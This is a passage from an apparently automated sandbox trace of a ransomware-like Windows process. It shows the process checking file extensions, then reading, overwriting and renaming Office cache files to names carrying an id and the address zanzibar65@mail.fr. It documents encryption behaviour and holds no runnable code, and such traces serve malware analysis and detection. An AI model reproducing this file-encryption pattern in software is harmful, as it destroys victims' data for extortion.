lpString2=".msi") returned 1 [0044.106] lstrlenW (lpString=".rar") returned 4 [0044.106] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0044.106] lstrlenW (lpString=".bz2") returned 4 [0044.106] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0044.106] lstrlenW (lpString=".7z") returned 3 [0044.106] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0044.106] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0044.106] lstrlenW (lpString=".dbf") returned 4 [0044.106] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0044.106] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0044.106] lstrlenW (lpString=".1cd") returned 4 [0044.106] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0044.106] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0044.106] lstrlenW (lpString=".jpg") returned 4 [0044.107] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0044.107] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0044.107] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0044.107] lstrlenW (lpString=".doc") returned 4 [0044.107] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0044.107] lstrlenW (lpString=".docx") returned 5 [0044.107] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0044.107] lstrlenW (lpString=".pdf") returned 4 [0044.107] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0044.107] lstrlenW (lpString=".xls") returned 4 [0044.107] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0044.107] lstrlenW (lpString=".xlsx") returned 5 [0044.107] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0044.107] lstrlenW (lpString=".ppt") returned 4 [0044.107] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0044.107] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0044.107] lstrlenW (lpString=".zip") returned 4 [0044.107] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0044.107] lstrlenW (lpString=".rar") returned 4 [0044.107] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0044.107] lstrlenW (lpString=".bz2") returned 4 [0044.107] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0044.107] lstrlenW (lpString=".7z") returned 3 [0044.107] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0044.107] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0044.107] lstrlenW (lpString=".dbf") returned 4 [0044.107] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0044.107] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0044.107] lstrlenW (lpString=".1cd") returned 4 [0044.107] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0044.107] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0044.107] lstrlenW (lpString=".jpg") returned 4 [0044.108] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0044.108] lstrcmpiW (lpString1=".cab", lpString2=".html") returned -1 [0044.108] lstrlenW (lpString="GrooveLR.cab") returned 12 [0044.108] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0044.108] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=4095519) returned 1 [0044.108] CloseHandle (hObject=0x194) returned 1 [0044.108] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab")) returned 0x2020 [0044.108] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0044.108] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab.id-9c354b42.[zanzibar65@mail.fr].html")) returned 1 [0044.109] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0044.109] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc6c | out: lpNewFilePointer=0x0) returned 1 [0044.109] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc2c | out: lpNewFilePointer=0x0) returned 1 [0044.109] ReadFile (in: hFile=0x194, lpBuffer=0x3b50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fffc38, lpOverlapped=0x0 | out: lpBuffer=0x3b50058*, lpNumberOfBytesRead=0x2fffc38*=0x40000, lpOverlapped=0x0) returned 1 [0044.113] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x14d4b5, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc2c | out: lpNewFilePointer=0x0) returned 1 [0044.113] ReadFile (in: hFile=0x194, lpBuffer=0x3b90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fffc38, lpOverlapped=0x0 | out: lpBuffer=0x3b90058*, lpNumberOfBytesRead=0x2fffc38*=0x40000, lpOverlapped=0x0) returned 1 [0044.116] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2fffc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0044.116] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x3a7e1f, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc2c | out: lpNewFilePointer=0x0) returned 1 [0044.116] ReadFile (in: hFile=0x194, lpBuffer=0x3bd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fffc38, lpOverlapped=0x0 | out: lpBuffer=0x3bd0058*, lpNumberOfBytesRead=0x2fffc38*=0x40000, lpOverlapped=0x0) returned 1 [0044.130] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0044.130] WriteFile (in: hFile=0x194, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2fffcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x2fffcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0044.456] SetEndOfFile (hFile=0x194) returned 1 [0044.456] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x40000) returned 0x3eb3070 [0044.456] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc7c | out: lpNewFilePointer=0x0) returned 1 [0044.456] WriteFile (in: hFile=0x194, lpBuffer=0x3eb3070*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fffc88, lpOverlapped=0x0 | out: lpBuffer=0x3eb3070*, lpNumberOfBytesWritten=0x2fffc88*=0x40000, lpOverlapped=0x0) returned 1 [0044.458] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x14d4b5, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc7c | out: lpNewFilePointer=0x0) returned 1 [0044.458] WriteFile (in: hFile=0x194, lpBuffer=0x3eb3070*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fffc88, lpOverlapped=0x0 | out: lpBuffer=0x3eb3070*, lpNumberOfBytesWritten=0x2fffc88*=0x40000, lpOverlapped=0x0) returned 1 [0044.460] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x3a7e1f, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc7c | out: lpNewFilePointer=0x0) returned 1 [0044.460] WriteFile (in: hFile=0x194, lpBuffer=0x3eb3070*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fffc88, lpOverlapped=0x0 | out: lpBuffer=0x3eb3070*, lpNumberOfBytesWritten=0x2fffc88*=0x40000, lpOverlapped=0x0) returned 1 [0044.462] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x3eb3070 | out: hHeap=0x220000) returned 1 [0044.462] CloseHandle (hObject=0x194) returned 1 [0044.462] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0044.462] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0044.462] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0044.462] lstrlenW (lpString=".doc") returned 4 [0044.462] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0044.462] lstrlenW (lpString=".docx") returned 5 [0044.462] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0044.462] lstrlenW (lpString=".pdf") returned 4 [0044.462] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0044.462] lstrlenW (lpString=".xls") returned 4 [0044.462] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0044.462] lstrlenW (lpString=".xlsx") returned 5 [0044.462] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0044.462] lstrlenW (lpString=".ppt") returned 4 [0044.462] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0044.462] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0044.462] lstrlenW (lpString=".zip") returned 4 [0044.463] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0044.463] lstrlenW (lpString=".rar") returned 4 [0044.463] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0044.463] lstrlenW (lpString=".bz2") returned 4 [0044.463] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0044.463] lstrlenW (lpString=".7z") returned 3 [0044.463] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0044.463] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0044.463] lstrlenW (lpString=".dbf") returned 4 [0044.463] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0044.463] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0044.463] lstrlenW (lpString=".1cd") returned 4 [0044.463] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0044.463] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0044.463] lstrlenW (lpString=".jpg") returned 4 [0044.463] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0044.463] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0044.463] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0044.463] lstrlenW (lpString=".doc") returned 4 [0044.463] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0044.463] lstrlenW (lpString=".docx") returned 5 [0044.463] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0044.463] lstrlenW (lpString=".pdf") returned 4 [0044.463] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0044.463] lstrlenW (lpString=".xls") returned 4 [0044.463] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0044.463] lstrlenW (lpString=".xlsx") returned 5 [0044.463] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0044.463] lstrlenW (lpString=".ppt") returned 4 [0044.463] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0044.463] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0044.463] lstrlenW (lpString=".zip") returned 4 [0044.463] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0044.464] lstrlenW (lpString=".rar") returned 4 [0044.464] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0044.464] lstrlenW (lpString=".bz2") returned 4 [0044.464] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0044.464] lstrlenW (lpString=".7z") returned 3 [0044.464] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0044.464] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0044.464] lstrlenW (lpString=".dbf") returned 4 [0044.464] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0044.464] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0044.464] lstrlenW (lpString=".1cd") returned 4 [0044.464] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0044.464] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0044.464] lstrlenW (lpString=".jpg") returned 4 [0044.464] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0044.464] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1 [0044.464] lstrlenW (lpString="dwdcw20.dll") returned 11 [0044.464] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0044.705] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=526176) returned 1 [0044.705] CloseHandle (hObject=0x204) returned 1 [0044.705] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll")) returned 0x2020 [0044.705] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0044.705] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0044.705] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0044.705] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0044.705] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0044.706] GetLastError () returned 0x0 [0044.706] ReadFile (in: hFile=0x204, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x2fffed4*=0x80760, lpOverlapped=0x0) returned 1 [0044.720] WriteFile (in: hFile=0x21c, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0x80770, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x2fffc9c*=0x80770, lpOverlapped=0x0) returned 1 [0044.729] ReadFile (in: hFile=0x204, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0044.729] WriteFile (in: hFile=0x21c, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x2fffc9c*=0xea, lpOverlapped=0x0) returned 1 [0044.730] SetEndOfFile (hFile=0x21c) returned 1 [0044.730] CloseHandle (hObject=0x21c) returned 1 [0044.730] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0044.730] SetEndOfFile (hFile=0x204) returned 1 [0044.734] CloseHandle (hObject=0x204) returned 1 [0044.735] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0044.735] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll")) returned 1 [0044.735] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0044.735] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0044.735] lstrlenW (lpString=".doc") returned 4 [0044.735] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0044.735] lstrlenW (lpString=".docx") returned 5 [0044.735] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0044.735] lstrlenW (lpString=".pdf") returned 4 [0044.735] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0044.735] lstrlenW (lpString=".xls") returned 4 [0044.954] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0044.954] lstrlenW (lpString=".xlsx") returned 5 [0044.954] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0044.954] lstrlenW (lpString=".ppt") returned 4 [0044.954] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0044.954] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0044.954] lstrlenW (lpString=".zip") returned 4 [0044.954] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0044.954] lstrlenW (lpString=".rar") returned 4 [0044.954] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0044.954] lstrlenW (lpString=".bz2") returned 4 [0044.954] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0044.954] lstrlenW (lpString=".7z") returned 3 [0044.954] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0044.954] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0044.954] lstrlenW (lpString=".dbf") returned 4 [0044.954] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0044.954] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0044.954] lstrlenW (lpString=".1cd") returned 4 [0044.955] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0044.955] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0044.955] lstrlenW (lpString=".jpg") returned 4 [0044.955] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0044.955] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0044.955] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0044.955] lstrlenW (lpString=".doc") returned 4 [0044.955] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0044.955] lstrlenW (lpString=".docx") returned 5 [0044.955] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0044.955] lstrlenW (lpString=".pdf") returned 4 [0044.955] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0044.955] lstrlenW (lpString=".xls") returned 4 [0044.955] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0044.955] lstrlenW (lpString=".xlsx") returned 5 [0044.955] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0044.955] lstrlenW (lpString=".ppt") returned 4 [0044.955] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0044.955] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0044.955] lstrlenW (lpString=".zip") returned 4 [0044.955] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0044.955] lstrlenW (lpString=".rar") returned 4 [0044.955] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0044.955] lstrlenW (lpString=".bz2") returned 4 [0044.955] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0044.955] lstrlenW (lpString=".7z") returned 3 [0044.955] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0044.955] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0044.955] lstrlenW (lpString=".dbf") returned 4 [0044.955] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0044.955] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0044.956] lstrlenW (lpString=".1cd") returned 4 [0044.956] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0044.956] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0044.956] lstrlenW (lpString=".jpg") returned 4 [0044.956] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0044.956] lstrcmpiW (lpString1=".cab", lpString2=".html") returned -1 [0044.956] lstrlenW (lpString="OfficeLR.cab") returned 12 [0044.956] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0044.956] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=14127746) returned 1 [0044.956] CloseHandle (hObject=0x1d8) returned 1 [0044.956] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab")) returned 0x2020 [0044.956] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0044.956] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab.id-9c354b42.[zanzibar65@mail.fr].html")) returned 1 [0044.957] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0044.957] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc6c | out: lpNewFilePointer=0x0) returned 1 [0044.957] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc2c | out: lpNewFilePointer=0x0) returned 1 [0044.957] ReadFile (in: hFile=0x1d8, lpBuffer=0x3b50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fffc38, lpOverlapped=0x0 | out: lpBuffer=0x3b50058*, lpNumberOfBytesRead=0x2fffc38*=0x40000, lpOverlapped=0x0) returned 1 [0044.962] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x47db80, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc2c | out: lpNewFilePointer=0x0) returned 1 [0044.962] ReadFile (in: hFile=0x1d8, lpBuffer=0x3b90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fffc38, lpOverlapped=0x0 | out: lpBuffer=0x3b90058*, lpNumberOfBytesRead=0x2fffc38*=0x40000, lpOverlapped=0x0) returned 1 [0044.965] SetFilePointerEx 